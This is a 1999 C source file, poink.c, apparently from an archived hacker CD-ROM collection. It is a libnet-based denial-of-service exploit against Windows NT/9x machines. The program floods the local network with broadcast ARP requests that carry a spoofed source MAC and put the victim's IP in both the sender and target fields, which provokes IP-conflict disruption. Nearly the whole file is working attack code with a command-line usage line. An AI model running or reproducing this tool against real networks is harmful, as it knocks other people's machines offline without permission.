home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / sectools / fragrouter / Libnet-0.99b / test / Ethernet / poink.c < prev    next >
Encoding:
C/C++ Source or Header  |  1999-07-26  |  4.0 KB  |  162 lines

  1. /*
  2.  *  $Id: poink.c,v 1.1.1.1 1999/05/18 15:33:43 dugsong Exp $
  3.  *
  4.  *  poink.c - NT/9x DOS attack
  5.  *
  6.  *  Code:
  7.  *  Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
  8.  *                         route|daemon9 <route@infonexus.com>
  9.  *  All rights reserved.
  10.  *
  11.  *  Original Idea:
  12.  *  Joel Jacobson (joel@mobila.cx)
  13.  *
  14.  *  This simple exploit was written as per the specification from Joel
  15.  *  Jacobson's bugtraq post (http://geek-girl.com/bugtraq/1999_1/1299.html).
  16.  *
  17.  *  Needs libnet 0.99.  http://www.packetfactory.net/
  18.  *
  19.  * Redistribution and use in source and binary forms, with or without
  20.  * modification, are permitted provided that the following conditions
  21.  * are met:
  22.  * 1. Redistributions of source code must retain the above copyright
  23.  *    notice, this list of conditions and the following disclaimer.
  24.  * 2. Redistributions in binary form must reproduce the above copyright
  25.  *    notice, this list of conditions and the following disclaimer in the
  26.  *    documentation and/or other materials provided with the distribution.
  27.  *
  28.  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
  29.  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  30.  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  31.  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
  32.  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  33.  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
  34.  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  35.  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
  36.  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
  37.  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  38.  * SUCH DAMAGE.
  39.  *
  40.  */
  41.  
  42. #include <libnet.h>
  43.  
  44. u_char enet_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00};
  45. u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
  46.  
  47. int send_arp(struct link_int *, u_long, u_char *);
  48. void usage(u_char *);
  49.  
  50. int
  51. main(int argc, char *argv[])
  52. {
  53.     int c, amount;
  54.     char errbuf[256];
  55.     char *device = NULL;
  56.     struct link_int *l;
  57.     u_long ip;
  58.  
  59.     amount = 20;
  60.     while ((c = getopt(argc, argv, "n:i:")) != EOF)
  61.     {
  62.         switch (c)
  63.         {
  64.             case 'i':
  65.                 device = optarg;
  66.                 break;
  67.             case 'n':
  68.                 amount = atoi(optarg);
  69.                 break;
  70.             default:
  71.                 exit(EXIT_FAILURE);
  72.         }
  73.     }
  74.  
  75.     if (!device)
  76.     {
  77.         usage(argv[0]);
  78.         exit(EXIT_FAILURE);
  79.     }
  80.  
  81.     if (argc <= optind)
  82.     {
  83.         usage(argv[0]);
  84.         exit(EXIT_FAILURE);
  85.     }
  86.     else if ((ip = libnet_name_resolve(argv[optind], 1)) == -1)
  87.     {
  88.         fprintf(stderr, "Cannot resolve IP address\n");
  89.         exit(EXIT_FAILURE);
  90.     }
  91.  
  92.     l = libnet_open_link_interface(device, errbuf);
  93.     if (!l)
  94.     {
  95.         fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf);
  96.         exit(EXIT_FAILURE);
  97.     }
  98.  
  99.     while (amount--)
  100.     {
  101.         c = send_arp(l, ip, device);
  102.         if (c == -1)
  103.         {
  104.             /* bail on the first error */
  105.             break;
  106.         }
  107.     }
  108.     printf("\n");
  109.     return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
  110. }
  111.  
  112.  
  113. int
  114. send_arp(struct link_int *l, u_long ip, u_char *device)
  115. {
  116.     int n;
  117.     u_char *buf;
  118.  
  119.     if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1)
  120.     {
  121.         perror("libnet_init_packet memory:");
  122.         exit(EXIT_FAILURE);
  123.     }
  124.  
  125.     /*
  126.      *  Ethernet header
  127.      */
  128.     libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);
  129.  
  130.     /*
  131.      *  ARP header
  132.      */
  133.     libnet_build_arp(ARPHRD_ETHER,
  134.         ETHERTYPE_IP,
  135.         6,
  136.         4,
  137.         ARPOP_REQUEST,
  138.         enet_src,
  139.         (u_char *)&ip,
  140.         enet_dst,
  141.         (u_char *)&ip,
  142.         NULL,
  143.         0,
  144.         buf + ETH_H);
  145.  
  146.     n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H);
  147.  
  148.     fprintf(stderr, ".");
  149.  
  150.     libnet_destroy_packet(&buf);
  151.     return (n);
  152. }
  153.  
  154.  
  155. void
  156. usage(u_char *name)
  157. {
  158.     fprintf(stderr, "%s -i interface [-n amount] ip\n", name);
  159. }
  160.  
  161. /* EOF */
  162.